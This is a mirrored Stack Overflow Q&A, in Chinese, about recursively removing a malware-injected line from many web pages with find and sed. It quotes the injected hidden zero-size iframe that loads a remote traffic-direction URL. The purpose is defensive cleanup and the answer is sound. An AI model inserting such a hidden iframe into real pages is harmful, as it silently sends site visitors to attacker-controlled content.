linux - 我需要从多个文件中删除一行

标签 linux grep replace

恶意软件攻击了我的服务器并添加了行

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

到我的许多页面

我怎样才能用 grep 删除它,或者如果有任何其他方法我可以从它影响的所有文件中删除它

编辑:我看到了关于使用 sed 的评论,但我需要一个递归解决方案,如果有的话

谢谢

最佳答案

您可以使用 findsed 递归查找所有感兴趣的文件并从中删除有问题的行。

例如,以下命令将从当前目录及其所有子目录的所有 .html 文件中删除违规行。

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;

关于linux - 我需要从多个文件中删除一行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9179210/

相关文章:

bash - 如何使用 grep 提取不重复的字符串模式

php - PHP 文件管理应该使用 shell 命令吗?

linux - 在写入文件期间拒绝写入权限

linux - 将目录中每个文件的标签之间的文件内容提取到新位置

awk/grep 特定列的某些部分

c - 改进 C ReplaceString 函数的建议?

.net - 正则表达式:查找整个模式,部分替换

Vim:用n + 1替换n

Linux - 系统日志客户端

php - PHP 中的 ORA-12504 警告